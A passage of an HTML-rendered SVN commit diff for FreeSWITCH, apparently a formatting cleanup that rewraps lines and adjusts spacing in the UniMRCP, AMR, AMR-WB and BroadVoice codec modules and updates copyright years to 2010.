</span><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, "Completion-Cause", unimrcp_param_id_create(RECOGNIZER_HEADER_COMPLETION_CAUSE, pool));
</span><del>-        switch_core_hash_insert(globals.recog.param_id_map, "Recognizer-Context-Block", unimrcp_param_id_create(RECOGNIZER_HEADER_RECOGNIZER_CONTEXT_BLOCK, pool));
</del><ins>+        switch_core_hash_insert(globals.recog.param_id_map, "Recognizer-Context-Block",
+                                                        unimrcp_param_id_create(RECOGNIZER_HEADER_RECOGNIZER_CONTEXT_BLOCK, pool));
</ins><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, "Start-Input-Timers", unimrcp_param_id_create(RECOGNIZER_HEADER_START_INPUT_TIMERS, pool));
</span><del>-        switch_core_hash_insert(globals.recog.param_id_map, "Speech-Complete-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT, pool));
-        switch_core_hash_insert(globals.recog.param_id_map, "Speech-Incomplete-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT, pool));
-        switch_core_hash_insert(globals.recog.param_id_map, "DTMF-Interdigit-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT, pool));
</del><ins>+        switch_core_hash_insert(globals.recog.param_id_map, "Speech-Complete-Timeout",
+                                                        unimrcp_param_id_create(RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT, pool));
+        switch_core_hash_insert(globals.recog.param_id_map, "Speech-Incomplete-Timeout",
+                                                        unimrcp_param_id_create(RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT, pool));
+        switch_core_hash_insert(globals.recog.param_id_map, "DTMF-Interdigit-Timeout",
+                                                        unimrcp_param_id_create(RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT, pool));
</ins><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, "DTMF-Term-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT, pool));
</span><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, "DTMF-Term-Char", unimrcp_param_id_create(RECOGNIZER_HEADER_DTMF_TERM_CHAR, pool));
</span><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, "Failed-Uri", unimrcp_param_id_create(RECOGNIZER_HEADER_FAILED_URI, pool));
</span><span class="lines">@@ -3241,12 +3296,13 @@
</span><span class="cx">
</span><span class="cx">         if ((settings = switch_xml_child(cfg, "settings"))) {
</span><span class="cx">                 if (switch_xml_config_parse(switch_xml_child(settings, "param"), SWITCH_FALSE, instructions) == SWITCH_STATUS_SUCCESS) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,"Config parsed ok!\n");
-                        globals.enable_profile_events = !zstr(globals.enable_profile_events_param) && (!strcasecmp(globals.enable_profile_events_param, "true") ||         !strcmp(globals.enable_profile_events_param, "1"));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Config parsed ok!\n");
+                        globals.enable_profile_events = !zstr(globals.enable_profile_events_param) && (!strcasecmp(globals.enable_profile_events_param, "true")
+                                                                                                                                                                                 || !strcmp(globals.enable_profile_events_param, "1"));
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         if (xml) {
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="lines">@@ -3275,12 +3331,12 @@
</span><span class="cx"> */
</span><span class="cx"> static char *ip_addr_get(const char *value, apr_pool_t *pool)
</span><span class="cx"> {
</span><del>-        if (!value || strcasecmp(value,"auto") == 0) {
</del><ins>+        if (!value || strcasecmp(value, "auto") == 0) {
</ins><span class="cx">                 char *addr = DEFAULT_LOCAL_IP_ADDRESS;
</span><del>-                apt_ip_get(&addr,pool);
</del><ins>+                apt_ip_get(&addr, pool);
</ins><span class="cx">                 return addr;
</span><span class="cx">         }
</span><del>-        return apr_pstrdup(pool,value);
</del><ins>+        return apr_pstrdup(pool, value);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /**
</span><span class="lines">@@ -3326,9 +3382,9 @@
</span><span class="cx">         } else if (strcasecmp(param, "rtp-ext-ip") == 0) {
</span><span class="cx">                 apt_string_set(&rtp_config->ext_ip, ip_addr_get(val, pool));
</span><span class="cx">         } else if (strcasecmp(param, "rtp-port-min") == 0) {
</span><del>-                rtp_config->rtp_port_min = (apr_port_t)atol(val);
</del><ins>+                rtp_config->rtp_port_min = (apr_port_t) atol(val);
</ins><span class="cx">         } else if (strcasecmp(param, "rtp-port-max") == 0) {
</span><del>-                rtp_config->rtp_port_max = (apr_port_t)atol(val);
</del><ins>+                rtp_config->rtp_port_max = (apr_port_t) atol(val);
</ins><span class="cx">         } else if (strcasecmp(param, "playout-delay") == 0) {
</span><span class="cx">                 rtp_config->jb_config.initial_playout_delay = atol(val);
</span><span class="cx">         } else if (strcasecmp(param, "min-playout-delay") == 0) {
</span><span class="lines">@@ -3341,16 +3397,16 @@
</span><span class="cx">                         mpf_codec_manager_codec_list_load(codec_manager, &rtp_config->codec_list, val, pool);
</span><span class="cx">                 }
</span><span class="cx">         } else if (strcasecmp(param, "ptime") == 0) {
</span><del>-                rtp_config->ptime = (apr_uint16_t)atol(val);
</del><ins>+                rtp_config->ptime = (apr_uint16_t) atol(val);
</ins><span class="cx"> #if UNI_VERSION_AT_LEAST(0,8,0)
</span><span class="cx">         } else if (strcasecmp(param, "rtcp") == 0) {
</span><span class="cx">                 rtp_config->rtcp = atoi(val);
</span><span class="cx">         } else if (strcasecmp(param, "rtcp-bye") == 0) {
</span><span class="cx">                 rtp_config->rtcp_bye_policy = atoi(val);
</span><span class="cx">         } else if (strcasecmp(param, "rtcp-tx-interval") == 0) {
</span><del>-                rtp_config->rtcp_tx_interval = (apr_uint16_t)atoi(val);
</del><ins>+                rtp_config->rtcp_tx_interval = (apr_uint16_t) atoi(val);
</ins><span class="cx">         } else if (strcasecmp(param, "rtcp-rx-resolution") == 0) {
</span><del>-                rtp_config->rtcp_rx_resolution = (apr_uint16_t)atol(val);
</del><ins>+                rtp_config->rtcp_rx_resolution = (apr_uint16_t) atol(val);
</ins><span class="cx"> #endif
</span><span class="cx">         } else {
</span><span class="cx">                 mine = 0;
</span><span class="lines">@@ -3373,7 +3429,7 @@
</span><span class="cx">         if (strcasecmp(param, "server-ip") == 0) {
</span><span class="cx">                 config->server_ip = ip_addr_get(val, pool);
</span><span class="cx">         } else if (strcasecmp(param, "server-port") == 0) {
</span><del>-                config->server_port = (apr_port_t)atol(val);
</del><ins>+                config->server_port = (apr_port_t) atol(val);
</ins><span class="cx">         } else if (strcasecmp(param, "resource-location") == 0) {
</span><span class="cx">                 config->resource_location = apr_pstrdup(pool, val);
</span><span class="cx">         } else if (strcasecmp(param, "sdp-origin") == 0) {
</span><span class="lines">@@ -3403,14 +3459,14 @@
</span><span class="cx">         int mine = 1;
</span><span class="cx">         if (strcasecmp(param, "client-ip") == 0) {
</span><span class="cx">                 config->local_ip = ip_addr_get(val, pool);
</span><del>-        } else if (strcasecmp(param,"client-ext-ip") == 0) {
</del><ins>+        } else if (strcasecmp(param, "client-ext-ip") == 0) {
</ins><span class="cx">                 config->ext_ip = ip_addr_get(val, pool);
</span><del>-        } else if (strcasecmp(param,"client-port") == 0) {
-                config->local_port = (apr_port_t)atol(val);
</del><ins>+        } else if (strcasecmp(param, "client-port") == 0) {
+                config->local_port = (apr_port_t) atol(val);
</ins><span class="cx">         } else if (strcasecmp(param, "server-ip") == 0) {
</span><span class="cx">                 config->remote_ip = ip_addr_get(val, pool);
</span><span class="cx">         } else if (strcasecmp(param, "server-port") == 0) {
</span><del>-                config->remote_port = (apr_port_t)atol(val);
</del><ins>+                config->remote_port = (apr_port_t) atol(val);
</ins><span class="cx">         } else if (strcasecmp(param, "server-username") == 0) {
</span><span class="cx">                 config->remote_user_name = apr_pstrdup(pool, val);
</span><span class="cx">         } else if (strcasecmp(param, "force-destination") == 0) {
</span><span class="lines">@@ -3451,7 +3507,7 @@
</span><span class="cx">         mrcp_connection_agent_t *connection_agent;
</span><span class="cx">         mpf_engine_t *media_engine;
</span><span class="cx">         apt_dir_layout_t *dir_layout;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* create the client */
</span><span class="cx">         if ((dir_layout = apt_default_dir_layout_create("../", mod_pool)) == NULL) {
</span><span class="cx">                 goto done;
</span><span class="lines">@@ -3466,9 +3522,8 @@
</span><span class="cx">                 client = NULL;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #if UNI_VERSION_AT_LEAST(0,8,0)
</span><del>-        /* load the synthesizer and recognizer resources */        
</del><ins>+        /* load the synthesizer and recognizer resources */
</ins><span class="cx">         resource_loader = mrcp_resource_loader_create(FALSE, pool);
</span><span class="cx">         if (resource_loader) {
</span><span class="cx">                 apt_str_t synth_resource;
</span><span class="lines">@@ -3531,10 +3586,10 @@
</span><span class="cx">                         /* a profile is a signaling agent + termination factory + media engine + connection agent (MRCPv2 only) */
</span><span class="cx">                         mrcp_sig_agent_t *agent = NULL;
</span><span class="cx">                         mpf_termination_factory_t *termination_factory = NULL;
</span><del>-                        mrcp_profile_t * mprofile = NULL;
</del><ins>+                        mrcp_profile_t *mprofile = NULL;
</ins><span class="cx">                         mpf_rtp_config_t *rtp_config = NULL;
</span><span class="cx">                         profile_t *mod_profile = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /* get profile attributes */
</span><span class="cx">                         const char *name = apr_pstrdup(pool, switch_xml_attr(profile, "name"));
</span><span class="cx">                         const char *version = switch_xml_attr(profile, "version");
</span><span class="lines">@@ -3553,7 +3608,7 @@
</span><span class="cx">                         rtp_config->rtp_port_min = DEFAULT_RTP_PORT_MIN;
</span><span class="cx">                         rtp_config->rtp_port_max = DEFAULT_RTP_PORT_MAX;
</span><span class="cx">                         apt_string_set(&rtp_config->ip, DEFAULT_LOCAL_IP_ADDRESS);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (strcmp("1", version) == 0) {
</span><span class="cx">                                 /* MRCPv1 configuration */
</span><span class="cx">                                 rtsp_client_config_t *config = mrcp_unirtsp_client_config_alloc(pool);
</span><span class="lines">@@ -3571,7 +3626,7 @@
</span><span class="cx">                                                 goto done;
</span><span class="cx">                                         }
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Loading Param %s:%s\n", param_name, param_value);
</span><del>-                                        if (!process_mrcpv1_config(config, param_name, param_value, pool) &&
</del><ins>+                                        if (!process_mrcpv1_config(config, param_name, param_value, pool) &&
</ins><span class="cx">                                                 !process_rtp_config(client, rtp_config, param_name, param_value, pool) &&
</span><span class="cx">                                                 !process_profile_config(mod_profile, param_name, param_value, mod_pool)) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Unknown param %s\n", param_name);
</span><span class="lines">@@ -3612,7 +3667,7 @@
</span><span class="cx">                                 goto done;
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        termination_factory = mpf_rtp_termination_factory_create(rtp_config, pool);
</del><ins>+                        termination_factory = mpf_rtp_termination_factory_create(rtp_config, pool);
</ins><span class="cx">                         if (termination_factory) {
</span><span class="cx">                                 mrcp_client_rtp_factory_register(client, termination_factory, name);
</span><span class="cx">                         }
</span><span class="lines">@@ -3628,7 +3683,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         if (xml) {
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="lines">@@ -3756,14 +3811,14 @@
</span><span class="cx"> static apt_bool_t unimrcp_log(const char *file, int line, const char *id, apt_log_priority_e priority, const char *format, va_list arg_ptr)
</span><span class="cx"> {
</span><span class="cx">         switch_log_level_t level;
</span><del>-        char log_message[4096] = { 0 }; /* same size as MAX_LOG_ENTRY_SIZE in UniMRCP apt_log.c */
</del><ins>+        char log_message[4096] = { 0 };        /* same size as MAX_LOG_ENTRY_SIZE in UniMRCP apt_log.c */
</ins><span class="cx">         size_t msglen;
</span><span class="cx">
</span><span class="cx">         if (zstr(format)) {
</span><span class="cx">                 return TRUE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch(priority) {
</del><ins>+        switch (priority) {
</ins><span class="cx">         case APT_PRIO_EMERGENCY:
</span><span class="cx">                 /* pass through */
</span><span class="cx">         case APT_PRIO_ALERT:
</span><span class="lines">@@ -3789,8 +3844,8 @@
</span><span class="cx">                 level = SWITCH_LOG_DEBUG;
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><del>-        
-        /* apr_vsnprintf supports format extensions required by UniMRCP */
</del><ins>+
+        /* apr_vsnprintf supports format extensions required by UniMRCP */
</ins><span class="cx">         apr_vsnprintf(log_message, sizeof(log_message), format, arg_ptr);
</span><span class="cx">         msglen = strlen(log_message);
</span><span class="cx">         if (msglen >= 2 && log_message[msglen - 2] == '\\' && log_message[msglen - 1] == 'n') {
</span><span class="lines">@@ -3800,7 +3855,7 @@
</span><span class="cx">                 /* log message needs \n appended */
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, "", line, id, level, "%s\n", log_message);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return TRUE;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -3830,7 +3885,7 @@
</span><span class="cx"> */
</span><span class="cx"> static unimrcp_param_id_t *unimrcp_param_id_create(int id, switch_memory_pool_t *pool)
</span><span class="cx"> {
</span><del>-        unimrcp_param_id_t *param = (unimrcp_param_id_t *)switch_core_alloc(pool, sizeof(unimrcp_param_id_t));
</del><ins>+        unimrcp_param_id_t *param = (unimrcp_param_id_t *) switch_core_alloc(pool, sizeof(unimrcp_param_id_t));
</ins><span class="cx">         if (param) {
</span><span class="cx">                 param->id = id;
</span><span class="cx">         }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_amrmod_amrc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_amr/mod_amr.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_amr/mod_amr.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_amr/mod_amr.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -250,7 +250,8 @@
</span><span class="cx">                                                                                  switch_codec_t *other_codec,
</span><span class="cx">                                                                                  void *decoded_data,
</span><span class="cx">                                                                                  uint32_t decoded_data_len,
</span><del>-                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate, unsigned int *flag)
</del><ins>+                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+                                                                                 unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx"> #ifdef AMR_PASSTHROUGH
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
</span><span class="lines">@@ -272,7 +273,8 @@
</span><span class="cx">                                                                                  switch_codec_t *other_codec,
</span><span class="cx">                                                                                  void *encoded_data,
</span><span class="cx">                                                                                  uint32_t encoded_data_len,
</span><del>-                                                                                 uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate, unsigned int *flag)
</del><ins>+                                                                                 uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
+                                                                                 unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx"> #ifdef AMR_PASSTHROUGH
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
</span><span class="lines">@@ -319,24 +321,23 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "AMR");
</span><del>-        switch_core_codec_add_implementation(pool, codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                 96,                                                /* the IANA code number */
-                                                                                 "AMR",                                                /* the IANA code name */
-                                                                                 "octet-align=0",                        /* default fmtp to send (can be overridden by the init function) */
-                                                                                 8000,                                                /* samples transferred per second */
-                                                                                 8000,                                                /* actual samples transferred per second */
-                                                                                 12200,                                                /* bits transferred per second */
-                                                                                 20000,                                                /* number of microseconds per frame */
-                                                                                 160,                                                /* number of samples per frame */
-                                                                                 320,                                                /* number of bytes per frame decompressed */
-                                                                                 0,                                                        /* number of bytes per frame compressed */
-                                                                                 1,                                                        /* number of channels represented */
-                                                                                 1,                                                 /* number of frames per network packet */
-                                                                                 switch_amr_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                 switch_amr_encode,                        /* function to encode raw data into encoded data */
-                                                                                 switch_amr_decode,                        /* function to decode encoded data into raw data */
-                                                                                 switch_amr_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 96,        /* the IANA code number */
+                                                                                 "AMR",        /* the IANA code name */
+                                                                                 "octet-align=0",        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 8000,        /* samples transferred per second */
+                                                                                 8000,        /* actual samples transferred per second */
+                                                                                 12200,        /* bits transferred per second */
+                                                                                 20000,        /* number of microseconds per frame */
+                                                                                 160,        /* number of samples per frame */
+                                                                                 320,        /* number of bytes per frame decompressed */
+                                                                                 0,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 1,        /* number of frames per network packet */
+                                                                                 switch_amr_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_amr_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_amr_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_amr_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">
</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_amrwbmod_amrwbc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_amrwb/mod_amrwb.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_amrwb/mod_amrwb.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_amrwb/mod_amrwb.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthmct@yahoo.com>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthmct@yahoo.com>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -166,7 +166,8 @@
</span><span class="cx">                         context->enc_mode = globals.default_bitrate;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                switch_snprintf(fmtptmp, sizeof(fmtptmp), "octet-align=%d; mode-set=%d", switch_test_flag(context, AMRWB_OPT_OCTET_ALIGN) ? 1 : 0, context->enc_mode);
</del><ins>+                switch_snprintf(fmtptmp, sizeof(fmtptmp), "octet-align=%d; mode-set=%d", switch_test_flag(context, AMRWB_OPT_OCTET_ALIGN) ? 1 : 0,
+                                                context->enc_mode);
</ins><span class="cx">                 codec->fmtp_out = switch_core_strdup(codec->memory_pool, fmtptmp);
</span><span class="cx">
</span><span class="cx">                 context->enc_mode = AMRWB_DEFAULT_BITRATE;
</span><span class="lines">@@ -205,11 +206,11 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t switch_amrwb_encode(switch_codec_t *codec,
</span><del>-                                                                                 switch_codec_t *other_codec,
-                                                                                 void *decoded_data,
-                                                                                 uint32_t decoded_data_len,
-                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t * encoded_data_len, uint32_t * encoded_rate,
-                                                                                 unsigned int *flag)
</del><ins>+                                                                                 switch_codec_t *other_codec,
+                                                                                 void *decoded_data,
+                                                                                 uint32_t decoded_data_len,
+                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+                                                                                 unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx"> #ifdef AMRWB_PASSTHROUGH
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
</span><span class="lines">@@ -228,11 +229,11 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t switch_amrwb_decode(switch_codec_t *codec,
</span><del>-                                                                                 switch_codec_t *other_codec,
-                                                                                 void *encoded_data,
-                                                                                 uint32_t encoded_data_len,
-                                                                                 uint32_t encoded_rate, void *decoded_data, uint32_t * decoded_data_len, uint32_t * decoded_rate,
-                                                                                 unsigned int *flag)
</del><ins>+                                                                                 switch_codec_t *other_codec,
+                                                                                 void *encoded_data,
+                                                                                 uint32_t encoded_data_len,
+                                                                                 uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
+                                                                                 unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx"> #ifdef AMRWB_PASSTHROUGH
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This codec is only usable in passthrough mode!\n");
</span><span class="lines">@@ -279,10 +280,9 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">
</span><span class="cx">         SWITCH_ADD_CODEC(codec_interface, "AMR-WB");
</span><del>- switch_core_codec_add_implementation(pool, codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, 100, "AMR-WB", "octet-align=0", 16000, 16000, 23850,
- 20000, 320, 640, 0, 1, 1,
- switch_amrwb_init, switch_amrwb_encode, switch_amrwb_decode, switch_amrwb_destroy);
</del><ins>+        switch_core_codec_add_implementation(pool, codec_interface,
+                                                                                 SWITCH_CODEC_TYPE_AUDIO, 100, "AMR-WB", "octet-align=0", 16000, 16000, 23850,
+                                                                                 20000, 320, 640, 0, 1, 1, switch_amrwb_init, switch_amrwb_encode, switch_amrwb_decode, switch_amrwb_destroy);
</ins><span class="cx">         /* indicate that the module should continue to be loaded */
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_bvmod_bvc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_bv/mod_bv.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_bv/mod_bv.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_bv/mod_bv.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -51,16 +51,16 @@
</span><span class="cx">
</span><span class="cx">         if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         if (encoding) {
</span><span class="cx">                 context->encoder_object = bv16_encode_init(NULL);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (decoding) {
</span><span class="cx">                 context->decoder_object = bv16_decode_init(NULL);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         codec->private_info = context;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -68,7 +68,7 @@
</span><span class="cx"> static switch_status_t switch_bv16_destroy(switch_codec_t *codec)
</span><span class="cx"> {
</span><span class="cx">         struct bv16_context *context = codec->private_info;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (context->encoder_object) {
</span><span class="cx">                 bv16_encode_free(context->encoder_object);
</span><span class="cx">         }
</span><span class="lines">@@ -134,16 +134,16 @@
</span><span class="cx">
</span><span class="cx">         if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         if (encoding) {
</span><span class="cx">                 context->encoder_object = bv32_encode_init(NULL);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (decoding) {
</span><span class="cx">                 context->decoder_object = bv32_decode_init(NULL);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         codec->private_info = context;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -180,7 +180,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         *encoded_data_len = bv32_encode(context->encoder_object, (uint8_t *) encoded_data, (int16_t *) decoded_data, decoded_data_len / 2);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -208,61 +208,57 @@
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_bv_load)
</span><span class="cx"> {
</span><span class="cx">         switch_codec_interface_t *codec_interface;
</span><del>-        int mpf, spf, bpf, ebpf, count;
</del><ins>+        int mpf, spf, bpf, ebpf, count;
</ins><span class="cx">
</span><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><del>-        
-        SWITCH_ADD_CODEC(codec_interface, "BroadVoice16 (BV16)");
</del><span class="cx">
</span><ins>+        SWITCH_ADD_CODEC(codec_interface, "BroadVoice16 (BV16)");
+
</ins><span class="cx">         mpf = 10000, spf = 80, bpf = 160, ebpf = 20;
</span><del>-        
-        for (count = 12; count > 0; count--) {
-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         106,                                                /* the IANA code number */
-                                                                                         "BV16",                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         8000,                                                /* samples transferred per second */
-                                                                                         8000,                                                /* actual samples transferred per second */
-                                                                                         16000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_bv16_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_bv16_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_bv16_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_bv16_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+
+        for (count = 12; count > 0; count--) {
+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         106,        /* the IANA code number */
+                                                                                         "BV16",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         8000,        /* samples transferred per second */
+                                                                                         8000,        /* actual samples transferred per second */
+                                                                                         16000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_bv16_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_bv16_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_bv16_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_bv16_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">
</span><del>-        SWITCH_ADD_CODEC(codec_interface, "BroadVoice32 (BV32)");
